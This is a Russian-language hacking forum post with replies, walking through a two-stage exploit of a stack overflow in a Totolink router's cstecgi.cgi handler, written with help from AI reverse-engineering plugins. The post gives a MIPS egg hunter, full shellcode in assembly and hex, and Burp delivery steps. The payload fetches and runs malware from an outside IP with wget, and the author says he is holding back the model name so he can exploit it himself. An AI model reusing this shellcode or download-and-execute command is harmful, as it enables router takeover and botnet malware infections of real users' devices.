LIMB
Вход Регистрация

тема

Двухэтапная эксплуатация 128 байтового переполнения в роутере Totolink

zecu · · 3 ответов · 182 просмотров

Всем привет, пару месяцев назад я открыл для себя различные плагины для binary ninja и Ida которые через api добавлют ИИ ллм агента для реверса, которые видят целиком весь контекст, тоесть что то типо cursor только для вайб-аудита. И это одна из самых невероятных вещей которые я пробовал. Получается очень удобно, купил api ключ chatgpt, вставил в настройках и можно работать, например прямо в binary ninja попросить модель обьяснить какие то конкретные места или автоматизировать большую часть работы, например найти все потенциально небезопасные функции, или попросить проследить путь данных в программе.

Собственно начал играться с этим и ковырять сотни прошивки всех роутеров подряд, разных моделей и производителей. Найти RCE зеродей в TP link даже не особо надеялся, Ковырял в основном прошивки дешевых роутеров которые популярны в китае или индии. Прошики брал либо с сайта производителя, либо если сам проиводитель нигде не выкладывал - искал extracted firmware на форумах (выкаченные прошивки через UART порт например)

После недели аудитов таки нашел интересного (дырявого) кандидата на взлом - прошивка одного из маршрутизаторов Totolink (конкретную модель пока не могу сказать, мне ее еще эксплуатировать).

Сначала извлекаем бинари для реверса из прошивки
Все прошивки у Totolink в формате .web, создаем папку и дропаем туда прошивку, переходим и утилитой binwalk достаем внутренности
binwalk -Me --run-as=root TOTOLINK_you_firmware_name.web
Не удалось прогрузить медиа



Конкретно меня возбудило наличие опасных C функций в коде и работа с данными из http запросов у некоторых эндпоинтов. Я попросил модель найти и проверить на потенциальные уязвимости все эндпоинты BOA web server прошивки, которые роутер читает из полей GET/POST запросов, и отследить пути этих данных - что с ними происходит в коде, где и как эти данные используются. По факту у Totolink в каждой прошивке эндпоинт всегда только один, это /cgi-bin/cstecgi.cgi но он принимает на себя абсолютно весь функционал, и я начал изучать какие же функции там вызвать можно и какие у них параметры
Командой find ищем интересующий нас cstecgi.cgi
find _TOTOLINK.web.extracted -name cstecgi.cgi 2>/dev/null
Не удалось прогрузить медиа



Открываем его в binary ninja, нас интересуют api функции с вызовом методов

Не удалось прогрузить медиа



Все функции вызываются POST запросом в ключе topicurl : (имя функции)
Code:
{
    "topicurl": "setXXXXCfg",

    "param1": "value1",

    "param2": "value2",

    ...
}


После небольших поисков с ИИ нашел интересную функцию setIpPortFilterRules, которая в параметре desc ожидает строку небольшой длинны, при валидации инпута она "безопасно" копируется через функцию strncpy с обрезкой всего что после 256го байта, но затем позже в коде помещает в 128 байтовый буфер - и здесь возникает переполнение, всего 128 байт, но переполнение.
Code:
"topicurl": "setIpPortFilterRules",
    "addEffect": "1",
    "ip": "192.168.1.1",
    "proto": "UDP",
    "sPort": "9999",
    "dPort": "9999",
    "desc": "A" * 64


Зачем так было сделанно? Я подозреваю что раньше обрезки 256 байт вообще не было, а была небезопасная функция strcpy() которая сразу на входе вызывала переполнение произвольного размера. Затем ее заменили на "безопасную" strncpy(input, 256), чтобы нормальный параметр адекватной длины точно проходил, но переполнения не было. Пофикшено? - пофикшено. В html веб интерфейсе там стоит ограничение maxlength="128" ,но если отправить параметр максимальной длины - 256 символа(например через burp suite) и вызвать функцию еще раз - роутер зависнет, потому что лишние 128 байт попадают в память программы.
C:
strncpy(buf, input, 256); //на эндпоинте при считывании параметра небезопасную strcpy заменили на strncpy с ограничением длины

//но в другом месте программы ничего не меняли
char temp[128];
strcpy(temp, buf);

К сожалению в эти 128 байта не помещается никакой шеллкод, потому что у mips32 little endian 4 байтовые инструкции (в два раза длиннее чем на x86_64) и самый короткий шеллкод для mips32 это 190 байт - окей можно хитрыми приемами урезать на 10-20 байт, но не уменьшить его еще в два раза, поэтому я сначала приуныл и забил. Но позже вернулся к этой функции и начал гуглить и икать варианты, и открыл для себя такой гениальный прием: в переполнение можно засунуть не сам шеллкод (который на mips32 длинный и обычно 300+ байт из за системных вызовов), а маленький сканер-поисковик (он еще называется egg hunter) который по короткой сигнатуре найдет уже в обычной памяти большой шеллкод и передаст управление на него

Самый короткий (44 байт) и рабочий сканер который мне удалось состряпать через ИИ для mips32 le. Оставшиеся 84 байта можем заполнить nop санями
(это ассемблер)
Code:
_start:
    addiu $t0, $t0, 4
    lui $t2, 0x5090
    ori $t2, $t2, 0x5090
    lw $t1, 0($t0)
    bne $t1, $t2, _start
    lw $t1, 4($t0)
    bne $t1, $t2, _start
    addiu $t0, $t0, 8
    jr $t0
    nop

Что делает наш сканер:
1) Поиск по памяти: перебирает память с шагом 4 байта (размер слова в mips32)
2) Проверка метки: ищет два подряд идущих слова 0x50905090 (ascii "PPPP", две подряд чтобы сканер не нашел сам себя, он же тоже содержит одну эту метку)
3) Передача управления: когда найдена пара меток - прыгает на код сразу за ними

Тоесть эксплуатация будет выглядеть следующим образом
1) помещаем в переполнение egg hunter который найдет и передаст управление на большой шеллкод
2) в любое другое место в валидной памяти помещаем большой шелл который выполнит wget http://45.144.54.112/a -O /tmp/a && chmod +x /tmp/a && /tmp/a


Стадия 2: основной шеллкод
Для начала перепроверим информацию о бинаре
Утилитой checksec можно проверить наличие DEP защиты (nx бита) в бинаре
checksec --file=cstecgi.cgi
Не удалось прогрузить медиа


NX disabled, значит сначала попробую обычный шеллкод. Однако NX disabled не всегда гарантирует полное отсуствие DEP. checksec анализирует только ELF-файл, а не настройки ядра или всей платформы.

Если обычный шеллкод не сработает, есть второй вариант - составить цепочку гаджетов из тех что уже присутсвуют в бинаре.
Для этого есть два инструмента ROPgadget и Ropper
Командой ROPgadget --binary cstecgi.cgi --ropchain можно чекнуть количество гаджетов в бинаре которые найдет ropgadget
43к, не все они уникальные и вальдные, но разгуляться где есть в случае чего
Не удалось прогрузить медиа

Но цепочка гаджетов это запасной вариант, вернемся к нашему обычному шеллкоду. Немного погуглив я нашел вот такой доставерно рабочий и проверенный реверсшелл для mips32 le https://shell-storm.org/shellcode/files/shellcode-860.html
Так как это реверсшелл, а нам надо изменить его и вместо бекконекта сделать загрузку и запуск нашей iot малвари на устройство
Для начала определим структуру. Обычно это использование системного вызова execve, который запускает оболочку ash (на роутере нету полноценного Bash, только BusyBox с легкой almquist shell) с флагом -c, передавая ей нашу команду как строку wget http://45.144.54.112/a -O /tmp/a && chmod +x /tmp/a && /tmp/a
В начале шеллкода должна идти двойная метка-сигнатура по которой egg hunter найдет шеллкод и передаст на него управление.
Так же нельзя использовать NULL и символы перевода строки, это так называемые запрещенные символы для шеллкода которые обрывают выполнение. Итоговый шелл с нашим пейлоадом (ассемблер):
Code:
    .text
    .globl _start
_start:
    lui $t0, 0x9050
    ori $t0, $t0, 0x9050

    lui $t7, 0x1111
    ori $t7, $t7, 0x1111
    sra $t8, $t7, 16
    addiu $t8, $t8, -0x1111

    addiu $sp, $sp, -0x1122
    addiu $t9, $sp, 0x1122

    lui $t0, 0x2f2f
    ori $t0, $t0, 0x6269
    sw $t0, -0x1122($t9)

    lui $t0, 0x6e2f
    ori $t0, $t0, 0x6873
    sw $t0, -0x111E($t9)

    sw $t8, -0x111A($t9)

    li $t0, 0x2d63
    sw $t0, -0x1116($t9)

    sw $t8, -0x1112($t9)

    li $t0, 0x20746577
    sw $t0, -0x110E($t9)

    li $t0, 0x70747468
    sw $t0, -0x110A($t9)

    li $t0, 0x342f2f3a
    sw $t0, -0x1106($t9)

    li $t0, 0x2e35352e
    sw $t0, -0x1102($t9)

    li $t0, 0x34312e34
    sw $t0, -0x10FE($t9)

    li $t0, 0x2e34352e
    sw $t0, -0x10FA($t9)

    li $t0, 0x312e3231
    sw $t0, -0x10F6($t9)

    li $t0, 0x20612f32
    sw $t0, -0x10F2($t9)

    li $t0, 0x74202d4f
    sw $t0, -0x10EE($t9)

    li $t0, 0x2f206d70
    sw $t0, -0x10EA($t9)

    li $t0, 0x61206d2f
    sw $t0, -0x10E6($t9)

    li $t0, 0x20202626
    sw $t0, -0x10E2($t9)

    li $t0, 0x686d6863
    sw $t0, -0x10DE($t9)

    li $t0, 0x78202b64
    sw $t0, -0x10DA($t9)

    li $t0, 0x616d7020
    sw $t0, -0x10D6($t9)

    li $t0, 0x2026202f
    sw $t0, -0x10D2($t9)

    li $t0, 0x706d2f61
    sw $t0, -0x10CE($t9)

    li $t0, 0x20202626
    sw $t0, -0x10CA($t9)

    li $t0, 0x6d742f2f
    sw $t0, -0x10C6($t9)

    li $t0, 0x6100702f
    sw $t0, -0x10C2($t9)

    sw $t8, -0x10BE($t9)

    sw $t8, -0x10BA($t9)

    addiu $t1, $t9, -0x110E
    sw $t1, -0x10B6($t9)

    addiu $t1, $t9, -0x1116
    sw $t1, -0x10B2($t9)

    addiu $t1, $t9, -0x1122
    sw $t1, -0x10AE($t9)

    addiu $a0, $t9, -0x1122
    addiu $a1, $t9, -0x10AE
    move $a2, $t8

    li $v0, 4011
    syscall 0x42424

Итого 328 байт
Code:
\x24\x0c\x90\x50\x35\x0c\x90\x50\x24\x0f\x11\x11\x35\xef\x11\x11\x01\xf0\x40\x03\x21\xe8\xef\xff\x24\x0c\xee\xde\x21\xe9\x11\x22\x3c\x0c\x2f\x2f\x35\x8c\x62\x69\x01\x29\xc8\x6c\x3c\x0c\x6e\x2f\x35\x8c\x68\x73\x01\x29\xc8\x72\x01\x28\xc8\x76\x24\x0c\x2d\x63\x01\x29\xc8\x7a\x01\x28\xc8\x7e\x24\x0c\x20\x74\x65\x77\x01\x29\xc8\x82\x24\x0c\x70\x74\x74\x68\x01\x29\xc8\x86\x24\x0c\x34\x2f\x2f\x3a\x01\x29\xc8\x8a\x24\x0c\x2e\x35\x35\x2e\x01\x29\xc8\x8e\x24\x0c\x34\x31\x2e\x34\x01\x29\xc8\x92\x24\x0c\x2e\x34\x35\x2e\x01\x29\xc8\x96\x24\x0c\x31\x2e\x32\x31\x01\x29\xc8\x9a\x24\x0c\x20\x61\x2f\x32\x01\x29\xc8\x9e\x24\x0c\x74\x20\x2d\x4f\x01\x29\xc8\xa2\x24\x0c\x2f\x20\x6d\x70\x01\x29\xc8\xa6\x24\x0c\x61\x20\x6d\x2f\x01\x29\xc8\xaa\x24\x0c\x20\x20\x26\x26\x01\x29\xc8\xae\x24\x0c\x68\x6d\x68\x63\x01\x29\xc8\xb2\x24\x0c\x78\x20\x2b\x64\x01\x29\xc8\xb6\x24\x0c\x61\x6d\x70\x20\x01\x29\xc8\xba\x24\x0c\x20\x26\x20\x2f\x01\x29\xc8\xbe\x24\x0c\x70\x6d\x2f\x61\x01\x29\xc8\xc2\x24\x0c\x20\x20\x26\x26\x01\x29\xc8\xc6\x24\x0c\x6d\x74\x2f\x2f\x01\x29\xc8\xca\x24\x0c\x61\x00\x70\x2f\x01\x29\xc8\xce\x01\x28\xc8\xd2\x01\x28\xc8\xd6\x21\x89\xef\xf2\x01\x29\xc8\xda\x21\x89\xee\xea\x01\x29\xc8\xde\x21\x89\xee\xde\x01\x29\xc8\xe2\x21\x88\xee\xde\x21\x81\xee\xde\x21\x89\xef\xf2\x01\x02\x40\x25\x24\x02\x0f\xa3\x0c\x00\x00\x00
напомню что нельзя использовать bad chars которые обрывают выполнение - \x00 \x0a \x0d (null byte и символы перевода каретки)


Запуск прошивки на эмуляторе и тесты
Для виртуализации прошивок роутеров существует прекрасный инструмент FirmAE https://github.com/pr0v3rbs/FirmAE
Прошивки Totolink в формате .web обычно представляют собой архив, содержащий не только файловую систему, а еще и загрузчик и зашифрованные или сжатые данные.
Просто кидаем прошивку .web в директорию с FirmAE, пишем команду sudo ./run.sh -c totolink ./TOTOLINK.web
Не удалось прогрузить медиа



Открываем http://127.0.0.1:8080/ или http://192.168.0.10:8080/ в браузере и нас встречает веб интерфейс
Не удалось прогрузить медиа


Первым запросом помещаем в любое место в памяти основной шеллкод, например в поле comment в функции setStaticDhcpConfig
Но дело в том что нельзя просто вставить байты как читаемую строку.
В burp suite скачиваем плагин Raw Hex'ler
Не удалось прогрузить медиа

И редактируем hex данные запроса. После байтов 22 3a вставляем наши байты hex шеллкода
Code:
\x24\x0c\x90\x50\x35\x0c\x90\x50\x24\x0f\x11\x11\x35\xef\x11\x11\x01\xf0\x40\x03\x21\xe8\xef\xff\x24\x0c\xee\xde\x21\xe9\x11\x22\x3c\x0c\x2f\x2f\x35\x8c\x62\x69\x01\x29\xc8\x6c\x3c\x0c\x6e\x2f\x35\x8c\x68\x73\x01\x29\xc8\x72\x01\x28\xc8\x76\x24\x0c\x2d\x63\x01\x29\xc8\x7a\x01\x28\xc8\x7e\x24\x0c\x20\x74\x65\x77\x01\x29\xc8\x82\x24\x0c\x70\x74\x74\x68\x01\x29\xc8\x86\x24\x0c\x34\x2f\x2f\x3a\x01\x29\xc8\x8a\x24\x0c\x2e\x35\x35\x2e\x01\x29\xc8\x8e\x24\x0c\x34\x31\x2e\x34\x01\x29\xc8\x92\x24\x0c\x2e\x34\x35\x2e\x01\x29\xc8\x96\x24\x0c\x31\x2e\x32\x31\x01\x29\xc8\x9a\x24\x0c\x20\x61\x2f\x32\x01\x29\xc8\x9e\x24\x0c\x74\x20\x2d\x4f\x01\x29\xc8\xa2\x24\x0c\x2f\x20\x6d\x70\x01\x29\xc8\xa6\x24\x0c\x61\x20\x6d\x2f\x01\x29\xc8\xaa\x24\x0c\x20\x20\x26\x26\x01\x29\xc8\xae\x24\x0c\x68\x6d\x68\x63\x01\x29\xc8\xb2\x24\x0c\x78\x20\x2b\x64\x01\x29\xc8\xb6\x24\x0c\x61\x6d\x70\x20\x01\x29\xc8\xba\x24\x0c\x20\x26\x20\x2f\x01\x29\xc8\xbe\x24\x0c\x70\x6d\x2f\x61\x01\x29\xc8\xc2\x24\x0c\x20\x20\x26\x26\x01\x29\xc8\xc6\x24\x0c\x6d\x74\x2f\x2f\x01\x29\xc8\xca\x24\x0c\x61\x00\x70\x2f\x01\x29\xc8\xce\x01\x28\xc8\xd2\x01\x28\xc8\xd6\x21\x89\xef\xf2\x01\x29\xc8\xda\x21\x89\xee\xea\x01\x29\xc8\xde\x21\x89\xee\xde\x01\x29\xc8\xe2\x21\x88\xee\xde\x21\x81\xee\xde\x21\x89\xef\xf2\x01\x02\x40\x25\x24\x02\x0f\xa3\x0c\x00\x00\x00

Начало шеллкода отмечено желтым, сравните первые байты
Не удалось прогрузить медиа

Через cgi скрипт данные попадают в буфер C как поток байтов
В режиме "Pretty" выглядит как нечитаемая каша, так и должно быть
Не удалось прогрузить медиа


Затем вторым запросом вызываем метод setIpPortFilterRules и в последний параметр помещаем egghunter. В строке можно передать 512 символов, поэтому все оставшиеся слева символы можем заполнить nop санями для mips32 le \x01\x01\x08\x24.
Напомню что нельзя использовать bad chars которые обрывают выполнение - null byte и символы перевода каретки
Не удалось прогрузить медиа


Отправляем и ждем отстук. Если веб сервер вернул 200 ok и редиректнул значит роутер не завис
Не удалось прогрузить медиа

Смотрим лог и видим что файл с хоста был загружен - тоесть пейлоад wget http://192.168.0.1/a -O /tmp/a && chmod +x /tmp/a && /tmp/a выполнился
Не удалось прогрузить медиа


Иногда эксплоит просто крашит прошивку и она падает с segmentation fault. У меня получилось все не с первого раза и только после нескольких фиксов. Происходит это потому что при переполнении иногда управление передается не в самое начало egg hunter'a.

Забавно кстати, что у Totolink почти в каждой функции переполнение или дыра, более тысячи cve и bdu https://bdu.fstec.ru/search?q=Totolink
А иногда и по несколько дыр в одной и той же функции
Не удалось прогрузить медиа


Итог:
Реверсить бинари и проводить аудит безопасности с появлением плагинов ИИ стало гораздо проще, можно не имея даже глубокой компетенции быстро проверять большое количество прошивок и находить новые уязвимости
👍14 😁3 😢1
спасибо за статью, привет друг, а ты прошивками mikrotik не занимался, может быть фаззинг, или поиск чего либо интересного?
👍1
Ответalisa123321

спасибо за статью, привет друг, а ты прошивками mikrotik не занимался, может быть фаззинг, или поиск чего либо интересного?

Я пробовал поверхностно, в хороших или дорогих роутерах вулны искать сложнее, безопасность там лучше, хотя каждый месяц в микротиках новые cve находят
👍3
Привет, походу не все картинки отображаются. Можешь перезалить?

Гостевой просмотр. Чтобы отвечать и ставить реакции, войдите или зарегистрируйтесь.